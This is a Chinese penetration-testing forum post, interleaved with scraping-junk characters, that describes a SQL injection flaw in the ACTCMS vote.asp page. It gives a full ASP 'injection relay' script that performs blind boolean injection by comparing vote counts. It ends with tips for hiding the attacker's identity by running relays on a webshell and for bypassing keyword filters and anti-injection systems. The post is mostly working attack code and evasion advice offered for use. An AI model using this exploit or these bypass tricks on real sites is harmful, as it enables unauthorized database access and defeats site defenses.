中国网络渗透测试联盟

标题: 注入中转的高级应用,actcms漏洞以及其他 [打印本页]

作者: admin    时间: 2012-11-6 21:13
标题: 注入中转的高级应用,actcms漏洞以及其他

+ g: N$ A- E; k/ ^! t看到ninty大牛的blog的一篇文章9 m+ t/ s0 A* T% e* n4 {
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
# K( e$ Y, W; e; L$ k5 ]关于actcms漏洞的利用  by 3x qq:381862589
2 o* @8 s0 Q4 Q转载请注明以上
! O) L0 {) g& H# d# q: M- `7 a漏洞文件:
8 q; E6 r/ f; ?' V0 x+ h/plus/vote/vote.asp
  G+ W+ T! B, m0 X# E) |代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    : s! w* S2 D# x% Y
$ T2 X; C' F$ t% H1 W% Q0 c
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   4 }) I$ B' b* p2 i

9 h: d% O8 Y) }- N+ `; A( N6 S3    response.end    9 z- P" n" D% l$ X/ S
( G' H4 v* ~; i8 X  @. D
4    end if    & b- l  e" T+ @. Z0 x. K( X% o- |$ U

. }- r* [# b6 a' v) [# n# u5    for i=1 to request("voted").count    ; \/ }! @3 N" _) A& P- Y: M% m

4 Q' X' M+ p. n& r0 O: S6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
+ ]/ b9 p5 L& g! O% O% e
8 A3 Q8 Z( M; Y1 y) p& w7    next   
' X& ]% `+ \6 k$ @/ p! ^
7 A- M/ w2 E5 {+ [8....   
- a* ^% l6 Y4 y( |& K
( X( l$ e* a% o4 V- R9response.Redirect "index.asp?id="&id&""   " o, L0 o6 y& r- L( J% T
投票结束回跳转回index.asp这个投票结果页面
$ U- @, K1 ^; Z% \如果投票成功票数加1
1 k6 n% R- f! `* |( c, t: k            失败票数不变+ u) h! i3 A  m' s' C- d
如图:
" c( X: Z! t( {0 `3 U; lhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
( g) y0 J, f! e6 C* C, V, D  n9 S9 t+ p7 i
2009-12-27 13:207 Q( G# W4 h# _; [, j  L

7 @# H9 I/ o% [4 \利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
$ C1 Y3 N( I* O$ f. M: F: e1 X) Y
' X$ ]+ V, P+ p  E8 D本帖隐藏的内容需要回复才可以浏览- N8 w- P' s) c- K
我们用注入中转来实现这个注入具体代码如下:
9 y, I; a* q: m先用寂寞的刺猬大牛的注入中转生成jmget.asp, ]' {" J! Y; @0 _6 B: T8 A9 N$ B
注入地址:http://localhost/actcms/plus/vote/vote.asp/ m( k4 X% a6 Y& L: d. V' P
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
( Y( q" j% E9 e
& c  W% E& I5 z+ T& w8 |! E然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% 5 x  O; G5 g1 f* u/ Y
7 ^5 _% @% p! b' \9 l% `
02JmdcwName=request("jmdcw") 4 ^% |3 y! _% u
' k3 t5 D- u" t, p  q
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
  N% Q2 z* N5 q, [6 A' }6 i2 [8 s- g
04JmStr="id=1&voted=-1 or 1="&JmdcwName   @) p' U; h4 m. t) }  C6 x9 j

4 r( \% i; Y: Y4 z1 b1 E  b1 y05JmStr=URLEncoding(JmStr)
# V2 A# s5 Y" e3 s9 ]8 [6 Z7 d
, k: V" j) j9 s5 T' Q4 \: q9 y0 N06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"3 n( t# e5 w2 ^# i; R

$ O- i) @6 J1 i3 I6 P07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
& }* F+ S+ |: B8 n2 a% `- B
  C/ [& e6 q" |08testurl=testurl & "?" & JmStr
" g* M' X6 B/ v# p
2 [! O+ I6 N8 k3 b) S09JMUrl=JMUrl & "?" & JmStr
' k- x2 I$ w# P7 y0 D- A) u$ F3 ~, s7 C: S
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"+ N/ Y" ?& Q) k9 I8 F8 o
) m, _' K  I7 A7 I; q7 Q- c. {
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"" P7 B. C' C$ \  P
: F; H2 e- z. ^) ~8 B
12JmCok=replace(JmCok,chr(32),"%20")  8 z/ N) |5 P3 m- E# s

8 Q4 [5 i: |6 u% v% x0 l13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 + h/ Z3 d3 I- G8 Q: Q+ E

& {7 L, O% G" C3 |4 i3 R2 u14  7 r  X& @& Z9 }8 G* F" j
& j( \6 r+ E7 b1 l
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
  S( V" \* N. D% v# j7 O4 b: ^5 W/ ?( h" X/ E" @
16  # A) G/ e7 V# B% |* ^8 I5 B

& Q- e3 V1 ?7 S2 h0 L2 L) J17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
! P" f- c+ [  z% Z1 m3 x% H" ?$ t; ^8 _
18response.write test1&""&test2&""
+ t2 ^1 a5 h; u2 S0 N! m. J8 N' k
2 ]2 b$ r0 B2 }' z9 y19  3 `  x- R* ~$ ~, S) E1 R; @  g
. F! a  F3 n/ m& {/ S) w
20if test1=test2 then '如前后记录相等,表示失败
! Y& _; \' r. s6 h% t$ b
) J# E$ c: k% X7 p4 A% [21  response.write "failed"
! {, i) B7 E6 \; d; k7 H; b! [# [: X7 A6 U8 w* O
22else
/ |9 c; U+ x; [: @4 I: Q
9 x' K+ E' k6 u23  response.write "succeed"
! Z0 F) u- g, k4 B3 a$ X. p5 v+ s7 i
24end if  / s0 i  p$ H2 B2 ^7 v$ o/ h
* O% Z! f4 x- g6 B# K
25  
% M7 n& l2 s, @0 `7 ^
3 V/ F  w- Y% u, k# Y' s26response.write "by 3x"
8 Q3 s, }5 ~4 W0 a0 C( l$ o9 y
27  
6 [4 ^% }2 A7 j3 Z6 O+ g. M  g4 p$ ~
1 i. M# |: r3 T  f8 ?3 H28  ( p1 K! {3 m8 \7 U' p+ v6 R

% ?. r6 \( _# J" j$ I' d9 Y29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
5 a" N5 j* h1 a  s, x# e' Q# p; _8 K7 S3 ^, s* [
30Dim Http ' }8 B' ]& {. \! H& O4 z

3 U+ l7 F7 K* L( I/ O) ]$ l31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
8 N" A, s- b6 @% k& Y
* K! U. s0 r* n7 P6 E  f/ [32With Http
6 M' V. Q* P  C6 o6 c  H* L  ]* U1 r9 L6 M) Y1 J2 \
33  
; R5 c2 \( z! T# n+ i
: H! ~4 Z, |) i; j34.Open "GET",PostUrl,False, a! g& k* B, q
. O+ m7 a" p$ e
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"1 o0 f2 x2 l9 e) P6 L* }: e* @  k
7 Q$ g, I  L- q: q( @. g; l' [$ u
36.SetRequestHeader "Referer",PostRef 4 l3 V2 i# F( g2 p8 X) d7 V8 a

) ]8 F2 p. j, D3 p6 F37.SetRequestHeader "Cookie",PostCok
  s; H! g/ M" ~" L# X5 L
+ h# v; V! O6 Z, H& @; y/ o  A% a38.Send ()
. y  d& o  {' f* y9 }% ?4 f+ w, g- \$ U
39PostData = .ResponseBody
! B0 s2 Q! ^4 ~# V5 }; K( ?4 W' [9 }; d$ I
40End With& k9 G3 t/ A& P9 X* }

8 q% a' _- R; N' }1 Z41Set Http = Nothing
8 L! k: f6 j% l* s# t$ C) E9 N- k- X+ `+ O
42PostData =bytes2BSTR(PostData)
, i: s2 i% f% p
: X) K; e& j& B) i43End Function2 t9 f. s: F& r

" O, s, @- v0 `- G" i1 f44  
; m! p: ]8 L1 U6 e' f% c: r
' r8 G; ]. |# }3 v0 e) v/ S# W2 a1 K  R45  
1 M. ^- O$ ]% o8 T+ \7 ~0 |5 |' G$ t6 y8 f* I
46Function bytes2BSTR(vIn)
" K- g3 \; d1 X/ M& E) O* L8 g8 N: Q  _
47Dim strReturn 5 A$ X; V( t; Y3 A+ Y4 @
; v! u% I4 E$ d( y/ `+ q3 u
48Dim I, ThisCharCode, NextCharCode   i) n+ |) w1 W/ s& w

! f5 }2 Z3 o( S/ d& v49strReturn = ""( `2 `8 e! ?# K7 B

; y$ B+ C% s9 Q" {* }50For I = 1 To LenB(vIn)
' P! n' @6 ?9 A# f" I8 |- r6 U$ y6 @) g  X  k
51ThisCharCode = AscB(MidB(vIn, I, 1))
9 x4 d* W$ s2 Y
& k- G  n( Y* i! X( }52If ThisCharCode < &H80 Then+ \7 Y, z3 M* K, O$ V* o
# G' U% i8 r1 [7 @6 w
53strReturn = strReturn & Chr(ThisCharCode)
+ O5 U+ P9 A5 b- Q
5 P$ j6 ]! k% V" a& c' R6 V54Else9 Z* \+ f% X- o3 _1 q

: b3 {7 z1 E" X55NextCharCode = AscB(MidB(vIn, I + 1, 1))
3 s- m  C! U$ D$ n9 C( J; I' W: A8 M2 F/ q+ o' _
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
0 x; F1 Q2 e4 \2 H
( a/ ]; ?* j/ v: S" w+ p57I = I + 1
( D# K8 h: E% o2 F0 n8 \9 U8 x" m) y; H' e: A; D4 J7 ]
58End If
3 O, h; d0 h) R7 F! V
, ]2 D) y* E; b2 p) {( u1 c* P* r59Next0 p. ?4 `$ ~' {, d7 o, X7 z. F' [

- W  D- c9 d+ r' A60bytes2BSTR = strReturn * y" S# m- C+ f; @5 }

8 B, p9 X4 x8 R* b2 N: i$ I61End Function2 P1 K) W' L! y- g

1 H3 k1 n. I, _& T$ O4 V# [62  8 P" U3 B; A9 X9 }. ]& X, R) x9 S
% S/ i6 M' N: O! ?
63Function URLEncoding(vstrin)  % X, \4 g7 e$ W
; V" P. H9 K) S& h1 b3 l9 x- S
64strReturn=""2 D. R! \9 |! c7 v( c( g* [
8 W# t8 T5 `! d- r
65Dim i
1 M, n8 d- E" Y. f6 L% L; N! y. Q  ^+ a7 L7 _/ R/ ~
66For i=1 To Len(vstrin) # F! n  Z" |: o) a4 \/ a7 G

, O4 L1 R: V' v2 H! j& K4 K1 q6 L67ThisChr=Mid(vstrin,i,1)
/ K# {0 g) O/ E, X% D1 I
' e( Z) C8 c- n/ F+ ^% A- c68if Abs(Asc(ThisChr))< &HFF Then
/ }3 a0 V6 e7 A8 U' ?7 m; R  h# X0 P4 U8 j1 d8 J1 V0 k! S, y& n
69strReturn=strReturn & ThisChr
+ D& F; t; Q8 ?0 @6 [0 {5 ^
8 R" M: O( X5 }' r70Else
2 H  S5 o& N* q- A& |; Z0 w5 }) f. j$ v) i5 X( P4 j8 C
71InnerCode=Asc(ThisChr)
. y2 D0 U/ g5 i2 K6 {1 k) ?" R2 z1 Y, n8 N# W& f
72If InnerCode<0 Then
+ n( H9 }! s0 T; g; C% U
9 H, T6 {9 v$ M9 W) O6 L73InnerCode=InnerCode + &H10000
' E0 v( f( \  ], _% F2 \  S1 S: i
! c# O  i$ e9 b& F: T74End If! R: v4 B/ m+ Y9 H7 _( s5 v9 i# K
/ G* ~% j3 x) n7 P  r) ]
75Hight1=(InnerCode And &HFF00) \&HFF
5 o3 e: O" c+ ]( K5 t9 x& o5 ]2 \
9 G' J4 r3 Z* K. d; u0 d0 s5 G6 W76Low1=InnerCode And &HFF
, L  q, |* c4 M+ x
; l/ l& }: g8 M& B1 w' c* m77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) ) s4 ?. M: O+ |
8 S6 Z; l: u$ U5 }9 i
78End if
$ l  q6 w5 I7 m" v3 ?) o* w' t0 C% K- ~+ T# ^, B$ y
79Next
( S9 Y* a8 @8 h0 K- c6 U% l5 F  `$ V" Y6 a
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 % b+ g- C: j2 U1 [. R& x2 r

) N* j9 x5 ~- f5 B81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 * u# C* ?% h, `& N2 Q, d  V% x
9 u% t8 w/ W  ?9 p3 l- S' J) b
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 ! ~2 x/ ?9 s  i: G- i
: t  R: a9 U/ [/ @# J6 N& ?
83URLEncoding=strReturn
! t6 i9 f6 Y4 z/ _( G& }( `9 `+ y3 y; E. p( S" ?
84End Function
/ I1 A8 s6 `, A  g3 W1 b" E& r, n1 w1 V0 L
85  
& o- m4 s6 R( T( q1 v9 m1 e( o' w
; f: D. v, y# c- _4 I5 M* }6 f' ~86function getSt(body) , T% B- C; C* O* e! n. z( |
6 u8 F: J/ U+ Z2 Q' \
87  startpot=instr(body,"投票人数:")+len("投票人数:")
' T- W4 i5 r' A4 I7 g! _4 ]+ R  ?9 e6 v' E+ l1 i8 p
88  endpot=instr(startpot,body," ") * p6 |! k; D3 b
7 }) L5 \; ^$ J' y5 {2 S
89  getSt=mid(body,startpot,endpot-startpot)
3 O- X* ~' G6 K- n$ ]/ y; y% y% l8 s: {1 W5 h$ m9 y
90end function
$ s/ g, \* m/ U' w  s
% f1 ~8 ^( A4 X% I91%>) f( s9 u  k! j" A6 |& p7 o' j
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了0 Z; K. Z5 c8 O. P/ u6 |# R7 O0 |
测试下效果:
2 M& s. i; i/ i1 [+ d投票成功:# I3 j* U! P$ m, V* ^
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
/ p. ^# z* K+ N6 [
9 B- n9 Q9 h4 K9 K( X3 d2009-12-27 13:29' l/ \1 n8 l! r& [- Z
投票失败; P  h8 H1 B! Q% l+ ~7 a) {+ J
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
4 ^1 L+ F0 w. w% e0 N1 n  ^% r6 S% L, \
2009-12-27 13:29
2 _% `1 k* e& _4 _# G-------------------------------------------------------------------------------/ Y( N$ O) ?, s/ s' m2 h' D
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
4 v) Q2 Z) n9 T9 G很抱歉。。。只能用单线程工具去注入。。。。。
2 F4 ]5 i/ y$ P. H! J! A9 s所以失败。。。不好意思。。。
1 d3 z) ?8 {% K" {  I* P-------------------------------------------------------------------------------7 O, X- Z$ j+ z0 p

) C! k: {8 H  M) h- n  z$ m7 `) X注入中转的一些其他应用
( ?% m( d: k9 F+ D- i其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
8 I% C2 _' z7 B4 V% D6 t1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
8 j: G8 e; V0 P5 S: M( w* E) u. H2.post注入转成get型的注入,方便我们使用工具来跑9 \6 A% g; ^  x) m
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")1 Y$ s  ~$ V- r& X- Q# w
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过2 O  v0 L7 f1 F+ @. |, X0 O

- l/ Y" P- w" z




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2